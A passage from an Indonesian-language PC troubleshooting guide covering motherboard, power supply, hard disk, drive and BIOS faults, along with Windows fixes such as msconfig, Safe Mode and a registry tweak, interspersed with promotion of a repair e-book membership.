Cocokkan kabel mouse untuk On Board dan card<br />Motherboard Blank (tidak ada sama sekali reaksi)<br />- 9 -<br />Penyebab :<br />1. BIOS rusak<br />2. Prosesor terbakar<br />3. regulator jebol<br />4. Chipset rusak<br />5. IC reset & Clock rusak<br />6. Setting jumpers over clock<br />7. Memori rusak<br />8. PS padam<br />9. Socket PS longgar<br />Solusi :<br />Ø Upgrade BIOS dengan tipe yang sama, 2 s/d 5. Ganti dengan yang baru ,6. Setting ulang<br />jumper clocknya ,7. Ganti memori 8. Periksa PS, 9. Periksa Slot/socket PS<br />Kerusakan-kerusakan lain pada Motherboard<br />1. Keyboard error atau tidak terdeteksi<br />Jika sering error, kemungkinan besar IC keyboarnya rusak, harus diganti baru. Jika<br />keyboard tidak terdeteksi, kemungkinan besar terminal keyboardnya renggang atau tidak<br />tersambung sempurna. Periksa juga solderan yang ada dibawah konektor keyboard. Jika<br />ada yang kendor tambahkan sedikit timah solder. Terakhir periksa skring (fuse) keyboard<br />yang ada di Motherboard. Biasanya mempunyai kode F1 atau kadang-kadang ada juga yang<br />mengunakan lilitan (L1). Jika skring pustus dan tidak ada penggantinya, kita bisa<br />menjumper-nya<br />2. Unit input/output (I/O) Rusak<br />Input/Output terdiri dari beberapa bagian, diantaranya :<br />- 10 -<br />- Hdc (harddisk controller). kerusakan pada bagian ini menyebabkan harddisk tidak<br />terdeteksi oleh BIOS dan otomatis tidak bisa menjalankan operating system.<br />- Fdc (floppy disk controller). Kerusakan pada bagian ini mengakibatan floppy disk tidak<br />bisa bekerja meskipun FDD yang kita pakai masih baik.<br />- LPT port (printer port/parallel port). Printer tidak akan bekerja jika port ini rusak.<br />- Serial Port (COM1, COM2). Port ini biasanya digunakan oleh mouse, keyboard, modem<br />eksternal. Jika rusak maka port ini tidak akan bekerja.<br />Solusi masalah :<br />Untuk mengatasi kerusakam pada unit ini, kita bisa mengganti IC I/O-nya. Namun sebaiknya<br />cara ini dilakukan oleh tenaga ahli. Cara lain untuk mengatasi hal ini : dengan menambahkan<br />card super I/O. Kita tinggal menancapkannya pada slot ekspansi dan kemudian setting<br />BIOS-nya. Fungsi I/O pada motherboard harus di-disable. Artinya, I/O akan otomatis<br />berpindah dari internal motherboard ke super card I/O yang telah kita pasang.<br />3. Cache Memori (L2 Cache) Rusak<br />Pada generasi Pentium I, cache memori eksternal ada di Motherboard. Generasi PentiumII<br />ke atas, cache memori eksternalnya disertakan di Prosesor. Jika bagian ini rusak, komputer<br />akan sering Hang atau bisa juga tidak bisa Booting, meskipun muncul tampilan di Monitor.<br />Cara mengatasi kerusakan cache memori yang melekat pada motherboard adalah dengan<br />menggantinya dengan IC yang sama. hal ini sebaiknya dilakukan dengan teknisi yang ahli.<br />Kita juga bisa melakukan cara lain yaitu dengan menambah memori (RAM) menjadi 2 kali<br />lipat (misal yang tadinta 128 MB menjadi 256 MB). Selanjutnya, setting BIOS-nya dengan<br />cara men-disable bagian external cache memori. Simpan dan Booting ulang komputer. Cara<br />ini juga bisa dilakukan pada komputer yang cache memori-nya melekat pada prosesor.<br />Windows Kagak Bisa Shutdown<br />Problem ini umumnya karena registry Fast Shutdown dalam kondisi aktif. Bila ini terjadi, cobalah<br />untuk menonaktifkannya. Restart komputer dengan menekan tombol [Ctrl] + [Alt] + [Del] secara bersamaan<br />atau tombol [Reset] pada CPU (Central Processing Unit). Setelah kembali dalam sistem Windows, klik<br />[Start] [Run]. Ketik “msconfig” (tanpa tanda kutip) pada boks yang muncul. Setelah itu, boks dialog System<br />Configuration Utilities akan terbuka.Pada tab [General], klik [Advanced...]. Centangilah opsi [Disable fast<br />shutdown]. Tutup semua aplikasi itu dan cobalah untuk men-shutdown-nya dengan normal, yaitu dengan<br />mengeklik [Start] dan pilih [Shutdown...]. Klik [Shut down] dan [OK] pada boks konfirmasi. Kini mestinya<br />- 11 -<br />Windows dapat shutdown dengan baik.Jika problem belum teratasi, kunjungilah link<br />support.microsoft.com/default .aspx?scid=KB;en-us;q238096 dengan browser internet Anda. Link tersebut<br />berisi keterangan mengenai kemungkinan sebab lain dari kegagalan Windows<br />Start-up Sistem Melambat<br />Terlalu banyaknya program yang di-upload saat start-up dapat membuat boros memori. Untuk<br />menyelesaikannya, matikan seluruh aplikasi, kemudian munculkan boks dialog System Configuration Utilities<br />seperti cara di atas.<br />Klik tab [Startup]. Di dalamnya terdapat daftar program-program yang berjalan sejak Windows dimulai.<br />Jika tanda centangnya cukup banyak, maka kurangilah dan biarkan hanya terdapat pada program yang Anda<br />anggap perlu saja.<br />Misalnya, hilangkan saja tanda centang dari program-program seperti e-mail client, messenger, Microsoft<br />Office Start-up, dan aplikasi lainnya yang sebetulnya dapat dibuka kapan saja. Klik [Apply] dan [OK] untuk<br />mengaktifkannya. Dan klik [Yes] pada konfirmasi untuk me-restart sistem Anda.Kontrol daftar startup<br />program ini secara rutin, agar pemakaian memori sistem Anda terjaga<br />Sistem Komputer Hang<br />Fenomenanya bagi kita beragam. Program tidak dapat berjalan, mouse tak dapat digerakkan, kibor<br />tak berfungsi, sampai munculnya blue screen.Langkah pertama untuk menyelesaikannya, cobalah untuk<br />menekan kombinasi tombol [Ctrl] + [Alt] + [Del] secara bersamaan. Bila boks Close Program muncul, maka<br />hentikan salah satu program yang berketerangan “Not Responding”. Atau hentikan juga program lain yang<br />tidak perlu. Caranya, klik nama program tersebut dan klik [End Task].<br />Jika sistem masih hang. Daftarlah nama-nama program yang berjalan tadi. Dan Restart sistem melalui tombol<br />[Restart] di CPU. Setelah sistem Windows berjalan lagi, buka satu per satu program tadi untuk mengecek<br />konflik tersebut terjadi saat Anda menggunakan aplikasi yang mana. Jika ketahuan, catat nama program<br />tersebut dan konsultasilah ke vendornya. Bila program penyebab konflik itu tidak terlalu Anda butuhkan,<br />sebaiknya uninstall saja dari sistem.<br />Safe Mode<br />Jika saat booting tiba-tiba Windows merekomendasikan Anda untuk menggunakan safe mode,<br />berarti ada yang tidak beres dalam sistem Anda. Hilangnya file sistem, driver dan file penting lainnya dari<br />Windows dapat memaksa Windows tampil dalam safe mode. Kerusakan dalam bagian hard disk juga dapat<br />- 12 -<br />memicunya.Untuk memeriksanya, masuk saja ke safe mode dan scandisk dulu hard disk Anda. Klik [Start]<br />[Programs] [Accessories] [System Tools] lantas [ScanDisk]. Jika hasilnya tak ada masalah, maka<br />kemungkinan kerusakannya ada pada file sistem. Restart, dan kali ini paksakan untuk menggunakan normal<br />mode. Lihat, biasanya Windows akan mengeluarkan pernyataan-pernyataan error. Kalau bisa catat<br />error-nya dan konsultasikan pada Microsoft. Atau jalan singkatnya, Anda bisa menginstal ulang sistem<br />Windows. Sebelumnya tentu Anda harus mem-back up semua data penting Anda ke drive atau hard disk<br />lain.<br />Defrag Macet<br />Kondisi ini bisa saja terjadi bila Anda juga menjalankan program lainnya saat defrag berlangsung.<br />Mungkin Anda merasa sudah menutup semua program, tapi sistem komputer masih mencatat kegiatan<br />beberapa program.<br />Untuk mengetahuinya, tekanlah kombinasi tombol [Ctrl] + [Alt] + [Del] secara bersamaan. Begitu boks<br />Close Program muncul, periksa program apa sajakah yang tengah berjalan saat ini.Selain Explorer dan<br />Systray, hentikan semua program lainnya dengan mengekliknya dari daftar dan klik [End Task]. Lalu,<br />mulailah lagi untuk men-defrag.Bila masih bermasalah, cobalah untuk memunculkan boks dialog System<br />Configuration Utility. Klik [Start] lalu [Run]. Ketikkan “msconfig” (tanpa tanda kutip) dan tekan [Enter].<br />Pada tab [General], tepatnya perhatikan pada opsi-opsi di bawah [Selective Startup]. Hilangkan semua<br />tanda centang pada opsi-opsi itu. Tapi biarkan opsi [Selective Startup] tetap tercentang.Restart komputer<br />Anda dan kembali jalankan defrag. Jika kondisi belum pulih, maka kemungkinan sebab lainnya adalah<br />kerusakan di hard disk Anda. Jalankan Scan disk. Bila semuanya oke-oke saja, mudah-mudahan kini defrag<br />dapat berjalan baik.Kecuali jika semua langkah itu belum menyelesaikan masalah, maka berkonsultasilah ke<br />teknisi komputer langganan Anda.<br />PC tak Mau Hidup<br />Bila ini terjadi, pastikan Anda telah menekan tombol power pada CPU (central processing unit)<br />dengan benar. Cek juga bahwa kabel power telah tersambung dengan baik dari power outlet-nya ke PC.<br />Tancapkan kabel-kabelnya sekali lagi.<br />Pengguna yang memakai stabilizer perlu melihat apakah stabilizer-nya memang berfungsi baik saat<br />dihidupkan. Pastikan juga power outlet-nya tidak bermasalah. Anda bisa mengetesnya dengan<br />menyambungkan peralatan listrik lainnya ke power outlet tersebut. Kalau peralatan tersebut bekerja, berarti<br />power outlet-nya masih bagus.<br />- 13 -<br />Setelah sekian pengecekan tersebut, kalau PC masih tidak mau hidup, masalahnya kemungkinan besar<br />terletak pada kabel power. Gantilah kabel power-nya dengan yang baru. Permasalahannya mungkin terletak<br />pada kotak power supply PC atau malah pada motherboard-nya. Jika kabel telah Anda ganti tapi problem<br />masih terjadi, sebaiknya langsung hubungi tempat servis langganan Anda deh.<br />Sering Restart Sendiri<br />Masalah ini kemungkinan sebabnya adalah gangguan arus listrik, baik pada power outlet-nya,<br />stabilizer, kabel power, power supply maupun motherboard. Kerusakan memori (RAM) juga bisa<br />menyebabkannya.Lakukan langkah-langkah pengecekan seperti pada problem di atas. Tegangan listrik yang<br />tidak stabil juga bisa mempengaruhinya.<br />Plug N’ Pray<br />Windows sebenarnya hadir dengan fasilitas Plug N’ Play, yaitu kemampuan otomatis untuk<br />mendeteksi dan melakukan konfigurasi bila ada penambahan kartu atau perangkat ke dalam sistemnya.<br />Bahasa gampangnya, tinggal colok, langsung jalan.<br />Tapi fasilitas itu sering diplesetkan orang menjadi Plug N’ Pray, gara-gara pada praktiknya kemudahannya<br />tidak seperti yang dijanjikan. Windows gagal mendeteksinya dan perangkat pun tak bias berfungsi. Kalau itu<br />terjadi, cobalah untuk menggunakan fitur Add/Remove Hardware pada Control Panel. Klik [Start] [Settings]<br />[Control Panel]. Kemudian dalam jendela yang tampil, klik dobel [Add/Remove Hardware]. Sebuah wizard<br />akan membantu Anda untuk mendeteksi hardware tersebut.Kalau itu gagal juga, paksa dengan menjalankan<br />file instalasi hardware langsung dari disket atau CD-nya. Mestinya sih langsung beres.Kecuali bila cara itu<br />juga tidak jalan juga, maka kemungkinan setting BIOS Anda perlu diatur agar fitur Plug N Play dari<br />Windows berjalan. Restart-lah PC Anda. Langsung tekan tombol [Del] pada kibor secara terus menerus<br />hingga BIOS muncul. Kalau BIOS Anda dari Award Software, carilah bagian [PnP/PCI Configurations] dan<br />tekan [Enter]. Pada opsi [PNP OS Installed], gantilah nilai “No” dengan “Yes”. Pada jenis BIOS lainnya,<br />walau menu setting-nya berbeda, pada prinsipnya carilah pengaturan yang serupa.<br />Masalah Kernel32<br />Bila program Anda berhenti di tengah jalan dan muncul pesan yang mengandung kata-kata “illegal<br />operation”, “kernel32” dan seterusnya, tak perlu bingung. Kemungkinan besar itu karena program yang<br />Anda jalankan konflik dengan sistem Windows. Cukup tutup pesan tersebut. Uninstall program tersebut,<br />kemudian instal kembali. Biasanya solusi begini cukup manjur mengatasinya, kecuali jika program Anda<br />- 14 -<br />bajakan.<br />PC Hidup tapi tidak Mau Booting<br />Gejalanya, layar monitor tidak mau menampilkan apa-apa dan komputer membunyikan bunyi beep<br />secara berulang-ulang. Matikan PC, matikan stabilizer, cabut semua kabelnya, kemudian buka casing-nya.<br />Bawa PC ke tempat yang terang, atau sediakan senter untuk membantu Anda melihat dengan jelas ke<br />dalamnya.<br />Cek bahwa kartu memori sudah tertancap dengan benar pada slot-nya. Karena ini seringkali menjadi<br />penyebabnya. Buka penguncinya, cabut kartu memorinya, tancapkan kembali dengan benar dan kunci<br />kembali. Pastikan juga kartu memori Anda dalam keadaan baik, tidak cacat dan tidak rusak.<br />Sekaligus saja, pastikan kartu-kartu dan kabel-kabel di dalam PC tersambung dengan baik, dan tidak<br />mengalami cacat atau bahkan putus sambungannya. Prinsipnya, agar komputer berjalan baik, maka semua<br />komponen harus berada dalam posisinya yang benar dan dalam kondisi baik pula.Lihat juga bahwa<br />motherboard Anda tidak tergores. Jalur-jalur tembaganya masih bagus dan tidak terpotong oleh sayatan<br />benda tajam. Kemudian nyalakan kembali PC tersebut. Bila kasusnya masih terjadi, cobalah untuk menukar<br />posisi kartu memori ke slot memori yang lainnya. Cek manual motherboard Anda untuk panduannya. Kalau<br />tidak selesai juga, konsultasikanlah ke teknisi servis komputer.<br />Hard Disk, Keyboard atau Floppy Drive tidak Dikenal<br />Proses booting akan tertahan jika hard disk utama tidak dikenali oleh BIOS. Pesan yang tampil<br />biasanya, “Primary hard disk failed”. Kalau sudah begini, sistem operasi tidak akan jalan. Untuk<br />mengatasinya, restart PC dan segera tekan [Del] terus menerus hingga BIOS muncul. Di BIOS, periksa<br />apakah primary hard disk terdeteksi atau tidak. Dalam beberapa model BIOS, ada fasilitas hard disk<br />auto-detection. Gunakanlah fasilitas itu. Jika hard disk tidak terdeteksi juga, maka matikan PC, cabut semua<br />kabelnya dan bukalah casing-nya.Cek apakah kabel power dan kabel data, yang menyambungkan hard disk<br />dan motherboard, telah terpasang dengan baik dan tidak cacat. Nyalakan kembali, bila kasusnya berulang,<br />maka ada kemungkinan hard disk Anda rusak. Tapi sebaiknya, konsultasikan saja dulu. Beberapa teknisi<br />komputer mengerti cara untuk menyelamatkan data dari hard disk yang telah rusak.<br />Langkah-langkah yang sama bisa Anda gunakan untuk menyelesaikan problem floppy drive yang tidak<br />terdeteksi. Prinsipnya tidak terlalu berbeda, kok.<br />Bila pesan yang muncul adalah “Keyboard error or no keyboard present”, matikan PC dan cek apakah<br />- 15 -<br />kabel kibor telah tertancap ke PC dengan benar. Kalau perlu, cabut dan tancapkan kembali. Jika tidak beres<br />juga, cobalah untuk mengganti kibor Anda.Kalau problem tidak selesai juga, kemungkinan port kibor pada<br />motherboard rusak. Sebelum memutuskan untuk mengganti motherboard, konsultasikanlah dulu dengan<br />tempat servis Anda.<br />Komputer Berisik<br />Sebabnya bisa berasal dari kipas-kipas dalam komputer (kipas prosesor dan kipas pendingin)<br />ataupun hard disk. Matikan PC dan buka casing-nya. Dalam kondisi casing terbuka, nyalakan kembali PC<br />dan teliti dari mana sumber bunyi itu.Apakah ada kabel atau ujung kabel yang menyangkut pada kipas?<br />Adakah benda yang menghambat geraknya? Kalau ya, maka singkirkanlah benda itu atau jauhkanlah kabel<br />tadi dari kipas. Bersihkan kipas di atas prosesor dan kipas pendingin komputer secara rutin untuk<br />menghindarinya. Anda bisa gunakan kuas kecil yang kering untuk itu.<br />Kalau sumber suaranya berasal dari hard disk, periksalah posisinya. Karena mungkin sumber bunyinya dari<br />pergerakan jarum di dalam hard disk yang tidak stabil. Hindari meletakkan hard disk secara miring, karena<br />dapat cepat rusak dan berbunyi.<br />Bila problemnya tidak tuntas, konsultasilah pada teknisi servis komputer.<br />Sering Hang & Panas<br />Matinya kipas pendingin bisa merupakan sebab naiknya temperatur PC, dan akhirnya PC sering<br />mengalami hang. Panas dapat menyebabkan komponen PC cepat rusak. Maka, periksalah kipas-kipas<br />tersebut. Bersihkan kotoran di dalamnya, dan pastikan kabel power untuknya tidak putus. Kalau kasusnya<br />masih terus terjadi, konsultasilah, karena bisa jadi sebabnya adalah pengaturan jumper dalam motherboard<br />yang tidak sesuai.<br />Casing Nyetrumm<br />Hal seperti ini terjadi akibat kebocoran arus listrik dari power supply. Matikan PC, cabut semua<br />kabelnya dan ambil kabel tipis dengan panjang kira-kira 1,5 kali tinggi PC.Kelupas salah satu ujung kabel itu,<br />hingga tampak kawat tembaganya sekitar 3 cm. Lilitkan ujung kabel dengan kawat tembaga yang terbuka itu<br />ke salah satu sekrup di belakang bodi PC. Dan biarkan ujung kabel satunya menjuntai ke tanah atau<br />menempel ke tembok<br />- 16 -<br />Kerusakan Motherboard<br />Komputer yang mati/ hang sebelum masuk ke sistem operasi bisa penyebabnya bisa<br />bermacam-macam. Berikut Tips yang sudah pernah saya praktekkan dan hampir selalu berhasil. Pilih yang<br />sesuai dengan permasalahan yang dihadapi, atau lakukan secara bertahap.<br />• Cek Kabel, mulai dari Kabel yang masuk ke UPS/Stabilizer, kabel Power ke Monitor, kabel Monitor<br />ke CPU dan kabel yang masuk ke Komputer. Pastikan pemasangannya telah sesuai dan kencang,<br />serta arus listriknya ada dan cukup.<br />• Jika terdapat CD-ROM / DVD-ROM dan bisa dibuka/tutup, maka kemungkinan permasalahan ada di<br />komputer (CPU), mulai dari kabel power yang masuk ke motherboard atau motherboard itu sendiri,<br />cek pemasangan kabelnya.<br />• Jika dua langkah diatas sudah dicek, dan masih belum menyala, matikan komputer dan Reset BIOS di<br />Motherboard. Caranya bisa dilihat di buku panduan motherboard, dan cari menu Reset BIOS.<br />Biasanya untuk mereset BIOS dapat dilakukan pada Jumper 1 (JP1). Disana ada 3 pin, yang 2<br />diantaranya dihubungkan dengan sebuah konektor kecil. Untuk mereset, tinggal melepas dan<br />memasang di 2 pin yang satunya. Misalnya 3 pin tersebut 1,2,3 dan pin 1 dan 2 sudah terhubung, maka<br />untuk mereset tinggal melepas dan memasang di pin 2 dan 3. Biarkan sekitar 30 detik atau lebih<br />kemudian kembalikan seperti semula. Nyalakan komputer.<br />• Jika BIOS telah di reset dan masih tidak menyala, coba lepas Baterai CMOS, yang ada di<br />motherboard. Diamkan sekitar 1 menit, kemudian dipasang kembali dan nyalakan komputer. Jika<br />baterai sudah cukup lama, lebih dari 3 tahun, ada baiknya diganti dengan yang baru. Apalagi jika jam<br />di komputer sering tidak cocok.<br />• Jika kipas Processor / VGA berputar, tetapi komputer masih belum menyala, maka kemungkinan ada<br />yang tidak beres dengan BIOS motherboard atau Motherboard memang sudah rusak. Mungkin BIOS<br />perlu di Update, tetapi sebelum update, komputer harus bisa menyala (masuk BIOS) terlebih dahulu.<br />Untuk melakukan hal itu, coba lepas kabel Hardisk, CD-ROM, Floppy. Kemudian, lepas Memori<br />- 17 -<br />komputer (RAM) dan ganti di slot yang lain atau gunakan memori komputer lain. Hal ini mungkin harus<br />diulangi sampai beberapa kali, hingga ada tanda-tanda kehidupan…<br />• Jika CPU sudah kelihatan bekerja, hardisk berputar dan lampu led CPU berkedip-kedip tetapi<br />monitor tidak ada tampilannya, maka kumungkinan VGA ( Kartu Grafis) komputer yang bermasalah.<br />Coba ganti dengan VGA lain atau cek VGA tersebut di komputer lain (Hal ini jika VGA tidak jadi satu<br />dengan motherboard).<br />Jika dengan semua langkah diatas, komputer juga belum menyala, mungkin komputer perlu di service orang<br />yang lebih ahli.<br />Safe Mode, Manfaat dan Penggunaannya<br />Bagi sebagian besar kita ( pengguna komputer) mungkin tidak asing lagi dengan istilah<br />Safe Mode. Fitur ini di sediakan di sistem operasi Windows, untuk berbagai tujuan.<br />Misalnya untuk memeriksa atau memperbaiki kerusakan pada sistem windows,<br />menghapus virus, memeriksa kerusakan driver dan lainnya.<br />Bagaimana mengaktifkan Safe Mode dan apa saja yang dapat dimanfaatkan ketika kita sudah masuk Safe<br />Mode ?<br />Apa itu Safe Mode ?<br />Safe mode merupakan opsi pilihan start up windows yang fungsi utamanya menangani jika ada masalah<br />dengan sistem. Windows akan berjalan dengan kondisi minimal, hanya file-file dan driver yang penting saja<br />yang di aktifkan, termasuk juga software-software tambahan sebagian besar tidak diaktifkan. Kemudian<br />ketika sudah masuk safe mode, maka akan tampak tulisan “Safe Mode” di pojok atas windows.<br />Cara Masuk ke Safe Mode<br />Salah satu cara yang dapat digunakan di hampir semua sistem windows termasuk windows Vista adalah<br />dengan menekan tombol F8 ketika windows sedang booting ( atau ketika komputer mulai menyala dan<br />- 18 -<br />tampil informasi Memory / hardware ). Setelah itu akan tampil beberapa menu pilihan booting komputer,<br />seperti berikut :<br />Beberapa penjelasan dari Advande Options Menu<br />Selain menu untuk memilih Safe mode, ada berbagai menu lainnya yang bisa dipilih. Berikut beberapa<br />penjelasan menu-menu tersebut :<br />• Safe Mode, opsi ini berarti windows akan berjalan hanya menggunakan minimal file dan driver<br />termasuk juga software-softwarenya.<br />• Safe Mode with Networking, opsi ini seperti safe mode ditambah dengan driver sehingga kita bisa<br />memanfaatkan Jaringan ( Networking)<br />• Safe Mode with Command Prompt, sama seperti safe mode hanya saja program Command<br />Prompt / MS-DOS Prompt ( cmd.exe) akan langsung aktif ( bukannya explorer)<br />• Enable Boot Logging, windows akan membuat file Ntbtlog.txt, ketika start up dan informasi start<br />up tersebut akan disimpan di file tersebut. File ini biasanya disimpan di sistem root, misalnya drive C:<br />• Enable VGA Mode. Windows akan berjalan dengan tampilan mode minimal misalnya 640×480<br />atau 800×600. Biasa digunakan untuk memeriksa kerusakan atau error [driver] VGA (tampilan<br />grafik windows).<br />• Last Known Good Configuration, menjalankan windows menggunakan informasi registry yang<br />- 19 -<br />telah disimpan ketika terakhir shutdown. Gunakan jika kita salah mengubah konfigurasi sistem, atau<br />ketika windows gagal masuk ke tampilan utama.<br />Beberapa manfaat Safe Mode<br />• Uninstall software yang sebelumnya menyebabkan komputer hang, error dan sebagainya. Kadang<br />setelah di install program tertentu windows bermasalah, maka jika tidak bisa di uninstall melalui mode<br />biasa gunakan Safe Mode.<br />• Menonaktifkan aplikasi atau program tertentu. Untuk memudahkan setelah masuk ke Safe Mode,<br />bisa menggunakan aplikasi Autoruns yang bisa diperoleh gratis dari SysInternals. Teknik ini juga bisa<br />dimanfaatkan untuk memeriksa loading komputer yang lambat. Jika tidak ada Autoruns, bisa<br />mengetikkan MSCONFIG di menu Run, untuk menjalankan Sistem Configuration Utility, jika<br />sudah tampil dipilih melalui tab Startup.<br />• Memeriksa permasalahan dengan tampilan grafik windows (VGA). Ketika tampilan windows<br />bermasalah, bisa di cek dengan memilih “Enable VGA Mode”, jika berhasil dan tidak melihat<br />masalah, kemungkinan masalah di driver VGA.<br />• Menghapus file/virus yang tidak bisa melalui mode biasa. Sebagian antivirus masih bisa dijalankan di<br />safe mode, dan bisa dicoba scan melalui safe mode. Kadang virus tidak berjalan di safe mode, meski<br />banyak juga yg bisa berjalan/atif meski di Safe Mode.<br />• Menjalankan System Restore jika sebelumnya diaktifkan, sehingga kondisi sistem bisa dikembalikan<br />ke keadaan sebelumnya.<br />• Menjalankan berbagai fitur dari Control Panel, Administrative tools dan sebagainya.<br />• Membuka Registry Editor, baik untuk memeriksa maupun untuk mengedit sebagian isinya.<br />Safe Mode merupakan fitur standard Windows dan terkadang cukup bermanfaat untuk beberapa masalah<br />seperti diatas, walaupun terkadang seperi virus juga bisa aktif didalam mode ini, sehingga menggunakan safe<br />mode saja tidak cukup.<br />Hapus Tombol [Turn Off Computer] di Welcome Screen<br />1. . Klik [Start] > [Run...] kemudian ketik regedit32.exe<br />2. Masuklah ke Sub key<br />KEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system.<br />- 20 -<br />3. Carilah DWORD value yang bernama Shutdownwithoutlogon di bagian kanan Jendela kemudian<br />klik dua kali entry tersebut.<br />4. Ubahlah value datanya yang sebelumnya bernilai 1 menjadi 0.<br />5. Tutup Registry Editor, kemudian Restart Windows Anda<br />Cara menangani komputer rusak<br />Jika PC sering kali menunjukan adanya peng-alamatan yang rumit, atau menampilkan suatu pesan<br />error, mengeluarkan bunyi beep yang terus menerus secara beraturan atau tidak beraturan, PC tersebut<br />kemungkinan besar sedang dalam masalah, saya akan memberikan Tips dan solusi untuk mengatasi masalah<br />tersebut dan<span style="font-weight: bold;"> PC</span> Anda dapat berfungsi kembali seperti sedia kala.<br />Masalah atau kerusakan yang timbul biasanya dikategorikan dalam 2 jenis kerusakan yaitu : Masalah atau<br />kerusakan Hardware dan Software<br />Jenis Kerusakan Dapat dikategorikan menjadi 2 kategori, yaitu :<br />1. Kerusakan Pada Hardware (Perangkat Keras)<br />2. Kerusakan Pada Software (Perangkat Lunak)<br />Kerusakan pada Hardware :<br />Masalah dengan komponen Hardware perlu penanganan yang serius karena sulit dilokalisir dan<br />disingkirkan tanpa tools yang tepat, keahlian dan pengalaman yang menunjang. Penjelasan akan berkisar<br />pada masalah yang sering terjadi disertai dengan cara mengatasinya.<br />v Kerusakan Pada Power Supply<br />Gejala :<br />Setelah dihidupkan PC tidak bereaksi apa-apa, tidak ada tampilan di monitor, tidak ada lampu indikator<br />(led) yang menyala, kipas power supply tidak berputar, lampu indikator pada monitor tidak menyala.<br />Solusi :<br />Periksalah apakah kabel terhubung dengan benar dan steker terpasang dengan baik pada soketnya, periksa<br />juga apakah ada tombol on/off dibelakang tepatnya dibelakang Power Supply sudah dalam posisi On, Jika<br />sudah yakin terpasang dengan benar tapi tetap tidak ada respon untuk meyakinkan silahkan anda ganti kabel<br />- 21 -<br />power dengan yang anda yakini bagus. Masalah terjadi karena tidak adanya tegangan listrik yang masuk,<br />kerusakan ada pada kabel power.<br />Masalah :<br />Setelah dihidupkan PC tidak bereaksi apa-apa, tidak ada tampilan di monitor, tidak ada lampu indikator<br />(led) yang menyala, kipas power supply tidak berputar, lampu indikator pada monitor menyala.<br />Solusi :<br />Lakukan seperti langkah diatas, tetapi jika masih belum ada respon berati masalah ada pada Power Supply,<br />Silahkan anda ganti PS nya, Saya sarankan sebaiknya anda ganti saja Power Supply yang rusak dengan yang<br />baru, dan hati-hatilah dalam pemasangannya.<br />Catatan : Jika kerusakan hanya pada Power Supply saja, Setelah anda menggantinya, komputer akan<br />kembali bekerja dengan normal. Kecuali jika ada masalah pada komponen yang lainnya seperti Mother<br />Board, VGA Card dan Memory.<br />v Kerusakan Pada Mother Board<br />Gejala :<br />Setelah dihidupkan, tidak ada tampilan di monitor, lampu indikator (led) di panel depan menyala, lampu<br />indikator (led) monitor berkedip-kedip, kipas power supply dan kipas procesor berputar, tidak ada suara<br />beep di speaker.<br />Solusi :<br />Langkah pertama lepas semua kabel power yang terhubung ke listrik, kabel data ke monitor, kabel<br />keyboad/mouse, dan semua kabel yang terhubung ke CPU, kemudian lepas semua sekrup penutup cashing.<br />Dalam keadaan casing terbuka silahkan anda lepaskan juga komponen-komponen lainnya, yaitu kabel<br />tegangan dari power supply yang terhubung ke Motherboard, harddisk, floppy, hati-hati dalam<br />pengerjaannya jangan terburu-buru. Begitu juga dengan Card yang menempel pada Mboard (VGA, Sound<br />atau Card lainnya). Sekarang yang menempel pada cashing hanya MotherBoard saja. Silahkan anda periksa<br />Motherboadnya dengan teliti, lihat Chip (IC), Elko, Transistor dan yang lainnya apakah ada yang terbakar.<br />Jika tidak ada tanda-tanda komponen yang terbakar kemungkinan Motherboard masih bagus, tapi ada<br />kalanya Mother board tidak jalan karena kerusakan pada program yang terdapat di BIOS<br />Gejala :<br />Pada saat CPU dinyalakan kemudian melakukan proses Post setelah itu proses tidak berlanjut dan diam<br />- 22 -<br />beberapa saat tidak langsung masuk ke operating system, dan kemudian di layar monitor ada pesan<br />“harddisk error, harddisk Failur, setelah itu muncul pesan “press F1 to continou” setelah kita menekan<br />tombol F1 tidak masuk Operating system dan muncul pesan “Operating system not found”.<br />v Kerusakan Pada Harddisk<br />Solusi :<br />Periksa kabel tegangan dan kabel data yang masuk ke harddisk apakah longgar, sebaiknya dikencangkan,<br />kemudian nyalakan dan coba anda dengarkan apakah suara yang keluar dari harddisk normal, jika tidak<br />normal berati harddisk rusak di controllernya.<br />Gejala :<br />Pada saat CPU dinyalakan kemudian melakukan proses Post setelah itu muncul pesan “Operating system not<br />found”.<br />Solusi :<br />Ada kemungkinan Operating system rusak, bisa diatasi dengan install ualng atau jika OS anda menggunakan<br />windows 2000/XP ada Fasilitas Repairnya. atau ada kemungkinan juga harddisk anda tidak terdeteksi dan<br />lakukan langkah diatas<br />Gejala :<br />harddisk bad sector?<br />Solusi :<br />Ada beberapa faktor penyebab terjadi bad sector diantaranya, tegangan listrik tidak stabil, sering terjadi<br />putusnya aliran listrik secara mendadak, setelah pemakaina tidak di shot down, pemakaian yang terlalu lama,<br />ada 2 jenis bad sector yaitu fisik dan software…..Untuk mengatasinya ada beberapa cara, diantaranya<br />menggunakan software untuk menghilangkan badsector….pembahan lebih lanjut ada di eBook Metode<br />perbaikan komputer dan bisa anda dapatkan jika anda bergabung menjadi Member Aktif.<br />v Kerusakan CD/DVD/ROM/RW & Floppy Disk<br />Gejala :<br />Jenis kerusakan yang biasa ditemui :<br />1. Tidak terdeteksi di windows<br />2. Tidak bisa keluar masuk CD<br />- 23 -<br />3. Tidak bisa membaca/menulis/hanya bisa membaca saja. (CD)<br />4. Tidak bisa membaca/menulis/write protect (Floppy disk)<br />Solusi :<br />1. Periksa kabel data dan kabel tegangan yang masuk ke CD-floppy, perikas di setup bios apakah sudah<br />dideteksi? sebaiknya diset auto. Periksa apakah led menyala, jika tidak kerusakan di Controllernya.<br />2. Kerusakan ada pada mekanik motor atau karet motor.<br />3. Kerusakan Biasanya pada optik, tetapi ada kemungkinan masih bisa diperbaiki dengan cara men-set ualng<br />optik tersebut.<br />4. Head Kotor, bisa dibersihkan menggunakan Cutenbud (langkah-langkah diatas secara lengkap dapat<br />anda temukan di e-book “Metode perbaikan komputer cepat dan akurat” dan bisa anda dapatkan jika anda<br />bergabung menjadi member perbaikankomputer.com<br />Masalah BIOS<br />Gejala :<br />Hati-hati dalam Update Bios, ketika meng-Update anda keliru memilih versi Bios, PC jadi tidak jalan bahkan<br />anda tidak dapat masuk ke BIOS.<br />Solusi :<br />Biasanya Update tidak dapat dibatalkan, hanya jenis Motherboard tertentu yang memiliki backup BIOS<br />pada Chip-nya, Disitu tersimpan jenis asli BIOS yang tidak dapat dihapus, untuk dapat merestore-nya anda<br />tinggal memindahkan Posisi Jumper khusus yang biasanya sudah ada petunjuk di buku manualnya. Kemudian<br />hidupka PC dan tunggu 10 detik, BIOS yang asli telah di Restore, kembalikan 